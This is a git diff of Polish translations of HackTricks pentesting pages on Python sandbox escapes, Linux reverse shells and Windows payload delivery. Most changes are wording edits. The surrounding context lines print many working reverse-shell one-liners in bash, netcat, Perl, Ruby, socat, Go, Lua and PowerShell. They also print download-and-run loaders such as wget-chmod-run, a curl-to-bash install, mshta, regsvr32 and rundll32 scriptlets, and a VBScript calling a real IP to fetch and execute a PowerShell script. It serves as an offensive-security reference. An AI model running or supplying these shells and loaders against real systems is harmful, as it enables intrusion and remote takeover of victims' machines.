||||
|
@ -507,7 +507,7 @@ Możemy zrobić to samo z **innymi bibliotekami**, które wiemy, że mogą być
|
|||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Ponadto, możemy nawet wyszukać, które moduły wczytują złośliwe biblioteki:
|
||||
Ponadto, możemy nawet sprawdzić, które moduły wczytują złośliwe biblioteki:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
|
@ -686,7 +686,7 @@ Możesz sprawdzić wynik tego skryptu na tej stronie:
|
|||
|
||||
## Python Format String
|
||||
|
||||
Jeśli **przesyłasz** do pythona **ciąg znaków**, który ma być **sformatowany**, możesz użyć `{}` do uzyskania **wewnętrznych informacji pythona**. Możesz użyć poprzednich przykładów, aby uzyskać dostęp do globalnych zmiennych lub wbudowanych funkcji na przykład.
|
||||
Jeśli **przesyłasz** do pythona **ciąg znaków**, który ma być **sformatowany**, możesz użyć `{}` do dostępu do **wewnętrznych informacji pythona**. Możesz użyć poprzednich przykładów, aby uzyskać dostęp do globalnych lub wbudowanych funkcji, na przykład.
|
||||
|
||||
{% hint style="info" %}
|
||||
Jednak istnieje **ograniczenie**, możesz używać tylko symboli `.[]`, więc **nie będziesz w stanie wykonać dowolnego kodu**, tylko odczytać informacje.\
|
||||
|
@ -711,16 +711,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Zauważ, jak można **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` oraz do **elementów słownika** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`
|
||||
Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` oraz do **elementów słownika** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`
|
||||
|
||||
Zauważ również, że można użyć `.__dict__` do wyliczenia elementów obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Zauważ również, że możesz użyć `.__dict__` do wyliczenia elementów obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Niektóre inne interesujące cechy ciągów formatujących to możliwość **wykonania** funkcji **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając odpowiednio **`!s`**, **`!r`**, **`!a`**:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Ponadto, możliwe jest **kodowanie nowych formaterów** w klasach:
|
||||
Ponadto, jest możliwe **kodowanie nowych formaterów** w klasach:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
|
@ -741,7 +741,7 @@ Sprawdź również następującą stronę w poszukiwaniu gadżetów, które będ
|
|||
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Payloady ujawniania poufnych informacji
|
||||
### Payloady Ujawniania Poufnych Informacji
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
|
@ -755,7 +755,7 @@ Sprawdź również następującą stronę w poszukiwaniu gadżetów, które będ
|
|||
## Analiza obiektów Pythona
|
||||
|
||||
{% hint style="info" %}
|
||||
Jeśli chcesz **dowiedzieć się** więcej o **bajtkodzie Pythona**, przeczytaj ten **wspaniały** artykuł na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
Jeśli chcesz zgłębić temat **bajtkodu Pythona**, przeczytaj ten **niesamowity** artykuł na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
W niektórych CTF-ach możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga**, i musisz zobaczyć **wewnętrzne** aspekty tej **funkcji**, aby ją wydobyć.
|
||||
|
@ -789,11 +789,11 @@ get_flag.__globals__
|
|||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**Zobacz tutaj więcej miejsc do uzyskania globalnych**](./#globals-and-locals)
|
||||
[**Zobacz tutaj więcej miejsc do uzyskania zmiennych globalnych**](./#globals-and-locals)
|
||||
|
||||
### **Dostęp do kodu funkcji**
|
||||
### **Uzyskiwanie dostępu do kodu funkcji**
|
||||
|
||||
**`__code__`** i `func_code`: Możesz **uzyskać dostęp do tego atrybutu** funkcji, aby **uzyskać obiekt kodu** funkcji.
|
||||
**`__code__`** i `func_code`: Możesz **uzyskać dostęp** do tego **atrybutu** funkcji, aby **uzyskać obiekt kodu** funkcji.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
@ -905,8 +905,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
```
|
||||
## Kompilacja Pythona
|
||||
|
||||
Teraz wyobraź sobie, że w jakiś sposób możesz **wyciągnąć informacje o funkcji, której nie możesz wykonać**, ale musisz ją **wykonać**.\
|
||||
Tak jak w poniższym przykładzie, **możesz uzyskać dostęp do obiektu kodu** tej funkcji, ale czytając jej rozkład, **nie wiesz, jak obliczyć flagę** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_).
|
||||
Teraz, wyobraźmy sobie, że w jakiś sposób możesz **wydobyć informacje o funkcji, której nie możesz wykonać**, ale musisz ją **wykonać**.\
|
||||
Tak jak w poniższym przykładzie, **możesz uzyskać dostęp do obiektu kodu** tej funkcji, ale czytając rozkład, **nie wiesz, jak obliczyć flagę** (_wyobraź sobie bardziej złożoną funkcję `calc_flag`_).
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -941,7 +941,7 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
{% hint style="info" %}
|
||||
W zależności od wersji pythona **parametry** `code_type` mogą mieć **różną kolejność**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji pythona, którą uruchamiasz, jest uruchomienie:
|
||||
W zależności od wersji pythona **parametry** `code_type` mogą mieć **różną kolejność**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji pythona, którą używasz, jest uruchomienie:
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -966,8 +966,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Ominięcie Obronności
|
||||
|
||||
W poprzednich przykładach na początku tego posta można zobaczyć, **jak wykonać dowolny kod Pythona, używając funkcji `compile`**. Jest to interesujące, ponieważ można **wykonać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy to samo zrobić za pomocą **`exec`**).\
|
||||
W każdym razie czasami może być przydatne **utworzenie** **skompilowanego obiektu** na maszynie lokalnej i wykonanie go na maszynie **CTF** (na przykład dlatego, że nie mamy funkcji `compile` w CTF).
|
||||
W poprzednich przykładach na początku tego posta można zobaczyć, **jak wykonać dowolny kod Pythona za pomocą funkcji `compile`**. Jest to interesujące, ponieważ można **wykonać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy to samo zrobić za pomocą **`exec`**).\
|
||||
W każdym razie czasami może być przydatne **utworzenie** **skompilowanego obiektu** na lokalnej maszynie i wykonanie go na maszynie **CTF** (na przykład dlatego, że nie mamy funkcji `compile` w CTF).
|
||||
|
||||
Na przykład, skompilujmy i wykonajmy ręcznie funkcję czytającą _./poc.py_:
|
||||
```python
|
||||
|
@ -996,7 +996,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz utworzyć **właściwą funkcję**, ale jej bezpośrednie wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: _constructor not accessible in restricted mode_. Dlatego potrzebujesz **funkcji spoza środowiska o ograniczonym dostępie, aby wywołać tę funkcję.**
|
||||
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz utworzyć **odpowiednią funkcję**, ale bezpośrednie jej wywołanie zazwyczaj zakończy się niepowodzeniem z powodu: _constructor not accessible in restricted mode_. Dlatego potrzebujesz **funkcji spoza środowiska o ograniczonym dostępie, aby wywołać tę funkcję.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1028,8 +1028,6 @@ print("\nYou are a super user\n")
|
|||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
zostanie obejśnięty
|
||||
|
||||
## Referencje
|
||||
|
||||
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
|
@ -1041,7 +1039,7 @@ zostanie obejśnięty
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -1052,7 +1050,7 @@ zostanie obejśnięty
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -16,13 +16,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**Jeśli masz pytania dotyczące któregokolwiek z tych shelli, możesz je sprawdzić za pomocą** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**Jeśli masz pytania dotyczące któregokolwiek z tych shelli, możesz je sprawdzić na** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Pełne TTY
|
||||
|
||||
|
@ -55,7 +55,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
#### Wyjaśnienie powłoki
|
||||
|
||||
1. **`bash -i`**: Ta część polecenia uruchamia interaktywną (`-i`) powłokę Bash.
|
||||
2. **`>&`**: Ta część polecenia to skrótowa notacja do **przekierowania zarówno standardowego wyjścia** (`stdout`) jak i **standardowego błędu** (`stderr`) do **tego samego miejsca docelowego**.
|
||||
2. **`>&`**: Ta część polecenia jest skrótem do **przekierowania zarówno standardowego wyjścia** (`stdout`) jak i **standardowego błędu** (`stderr`) do **tego samego miejsca docelowego**.
|
||||
3. **`/dev/tcp/<ADRES-ATAKUJĄCEGO>/<PORT>`**: Jest to specjalny plik, który **reprezentuje połączenie TCP z określonym adresem IP i portem**.
|
||||
* Poprzez **przekierowanie strumieni wyjścia i błędów do tego pliku**, polecenie efektywnie wysyła wyjście sesji interaktywnej powłoki na maszynę atakującego.
|
||||
4. **`0>&1`**: Ta część polecenia **przekierowuje standardowe wejście (`stdin`) do tego samego miejsca docelowego co standardowe wyjście (`stdout`)**.
|
||||
|
@ -67,11 +67,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## Forward Shell
|
||||
|
||||
Podczas radzenia sobie z podatnością na **Remote Code Execution (RCE)** w aplikacji internetowej opartej na systemie Linux, osiągnięcie odwrotnego shella może być utrudnione przez zabezpieczenia sieciowe, takie jak reguły iptables lub złożone mechanizmy filtrowania pakietów. W takich ograniczonych środowiskach alternatywnym podejściem jest ustanowienie powłoki PTY (Pseudo Terminal) do bardziej efektywnej interakcji z skompromitowanym systemem.
|
||||
Podczas radzenia sobie z podatnością na **Remote Code Execution (RCE)** w aplikacji internetowej opartej na systemie Linux, osiągnięcie odwrotnego powłoki może być utrudnione przez zabezpieczenia sieciowe, takie jak reguły iptables lub złożone mechanizmy filtrowania pakietów. W takich ograniczonych środowiskach alternatywnym podejściem jest ustanowienie powłoki PTY (Pseudo Terminal), aby efektywniej komunikować się z skompromitowanym systemem.
|
||||
|
||||
Polecane narzędzie do tego celu to [toboggan](https://github.com/n3rada/toboggan.git), które upraszcza interakcję z docelowym środowiskiem.
|
||||
Polecane narzędzie do tego celu to [toboggan](https://github.com/n3rada/toboggan.git), które ułatwia interakcję z docelowym środowiskiem.
|
||||
|
||||
Aby efektywnie wykorzystać toboggan, stwórz moduł Pythona dostosowany do kontekstu RCE twojego systemu docelowego. Na przykład moduł o nazwie `nix.py` może być zorganizowany w następujący sposób:
|
||||
Aby efektywnie wykorzystać toboggan, stwórz moduł Pythona dostosowany do kontekstu RCE twojego systemu docelowego. Na przykład, moduł o nazwie `nix.py` może być zorganizowany w następujący sposób:
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
|
@ -110,7 +110,7 @@ Wystarczy zmodyfikować:
|
|||
* Prefiks i sufiks twojego ładunku (jeśli istnieje)
|
||||
* Sposób wysyłania ładunku (nagłówki? dane? dodatkowe informacje?)
|
||||
|
||||
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`** aby uzyskać pełne PTY (zauważ, że potoki są czytane i zapisywane z opóźnieniem około 1,3 s).
|
||||
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`** aby uzyskać pełne PTY (zauważ, że rury są czytane i zapisywane z opóźnieniem około 1,3 s).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -122,13 +122,13 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
|
|||
```
|
||||
## gsocket
|
||||
|
||||
Sprawdź to pod adresem [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
Sprawdź to na [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
```bash
|
||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||
```
|
||||
## Telnet
|
||||
|
||||
Telnet jest protokołem sieciowym, który umożliwia zdalne logowanie się do hostów. Może być używany do zdalnego zarządzania systemami oraz do przesyłania poleceń. Telnet przesyła dane w formie tekstu, co oznacza, że nie jest zaszyfrowany i może stanowić ryzyko dla bezpieczeństwa.
|
||||
Telnet jest protokołem sieciowym służącym do zdalnego logowania się na systemy. Może być używany do zdalnego zarządzania systemami oraz przesyłania danych. Telnet przesyła dane w postaci zwykłego tekstu, co oznacza, że nie jest zaszyfrowany i może stanowić ryzyko dla bezpieczeństwa.
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
|
@ -161,8 +161,6 @@ perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getpro
|
|||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby to język programowania, który jest często używany do pisania skryptów powłoki. Możesz użyć Ruby do tworzenia potężnych i elastycznych skryptów powłoki, które pomogą Ci w automatyzacji zadań podczas testowania penetracyjnego.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
|
@ -195,6 +193,8 @@ attacker> ncat -v 10.0.0.22 4444 --ssl
|
|||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua jest językiem skryptowym, który jest często używany do tworzenia skryptów i rozszerzeń w różnych aplikacjach. Lua jest łatwy w nauce i ma prostą składnię, co czyni go popularnym wyborem w świecie programowania. Lua może być również używany do pisania skryptów do automatyzacji zadań w systemach operacyjnych.
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
|
@ -264,12 +264,12 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
|||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Powłoka wiążąca
|
||||
### Powłoka typu bind
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||
```
|
||||
### Odwrócony shell
|
||||
### Odwrócona powłoka
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
|
@ -293,6 +293,8 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; s
|
|||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
||||
```
|
||||
## Gawk
|
||||
|
||||
Gawk (GNU Awk) jest potężnym narzędziem do przetwarzania tekstu i raportowania w systemach Unix/Linux. Może być używany do manipulacji i analizy danych tekstowych, a także do automatyzacji zadań. Gawk jest często wykorzystywany przez hakerów do przetwarzania i filtrowania danych podczas testów penetracyjnych.
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
@ -321,7 +323,7 @@ To spróbuje połączyć się z twoim systemem na porcie 6001:
|
|||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Aby przechwycić odwróconą powłokę, możesz użyć (która będzie nasłuchiwać na porcie 6001):
|
||||
Aby przechwycić odwrotną powłokę, możesz użyć (która będzie nasłuchiwać na porcie 6001):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -346,7 +348,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -357,9 +359,9 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -33,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) to przenośna i bezpieczna alternatywa dla Netcata**. Działa w systemach z rodziny Unix oraz Win32. Dzięki funkcjom takim jak silne szyfrowanie, wykonywanie programów, dostosowywanie portów źródłowych i ciągłe ponowne nawiązywanie połączenia, sbd zapewnia wszechstronne rozwiązanie do komunikacji TCP/IP. Dla użytkowników systemu Windows, wersję sbd.exe z dystrybucji Kali Linux można wykorzystać jako niezawodną zamiennik Netcata.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) to przenośna i bezpieczna alternatywa dla Netcata**. Działa w systemach z rodziny Unix oraz Win32. Dzięki funkcjom takim jak silne szyfrowanie, wykonywanie programów, dostosowywanie portów źródłowych i ciągłe ponowne połączenie, sbd zapewnia wszechstronne rozwiązanie do komunikacji TCP/IP. Dla użytkowników systemu Windows, wersję sbd.exe z dystrybucji Kali Linux można używać jako niezawodną zamiennik Netcata.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -61,6 +61,8 @@ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen(
|
|||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua jest językiem skryptowym, który jest często wykorzystywany do tworzenia skryptów w grach i aplikacjach. Lua jest łatwy w użyciu i oferuje wiele funkcji wbudowanych, co czyni go popularnym wyborem w świecie programowania gier. Lua może być również używany do tworzenia skryptów do automatyzacji zadań w systemach Windows.
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
@ -92,8 +94,8 @@ Proces wykonujący wywołanie sieciowe: **powershell.exe**\
|
|||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
Proces wykonujący wywołanie sieciowe: **svchost.exe**\
|
||||
Ładunek zapisany na dysku: **Lokalna pamięć podręczna klienta WebDAV**
|
||||
Proces wykonujący połączenie sieciowe: **svchost.exe**\
|
||||
Payload zapisany na dysku: **Lokalna pamięć podręczna klienta WebDAV**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
@ -117,7 +119,7 @@ mshta \\webdavserver\folder\payload.hta
|
|||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**Możesz bardzo łatwo pobrać i uruchomić zombi Koadic, używając stagera hta**
|
||||
**Możesz bardzo łatwo pobrać i uruchomić zombiaka Koadic, używając stagera hta**
|
||||
|
||||
#### Przykład hta
|
||||
|
||||
|
@ -182,7 +184,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
|||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
**Wykryto przez defendera**
|
||||
**Wykryto przez obrońcę**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
|
@ -230,7 +232,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
|||
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**Z tej lokalizacji**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
[**Stąd**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
|
@ -297,7 +299,7 @@ impacket-smbserver -smb2support kali `pwd`
|
|||
```bash
|
||||
\\10.8.0.3\kali\shell.bat
|
||||
```
|
||||
**Wykryte przez obrońcę**
|
||||
**Wykryty przez obrońcę**
|
||||
|
||||
## **MSIExec**
|
||||
|
||||
|
@ -314,7 +316,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
|
||||
## **Wmic**
|
||||
|
||||
* [Stąd](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [Z tego miejsca](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
|
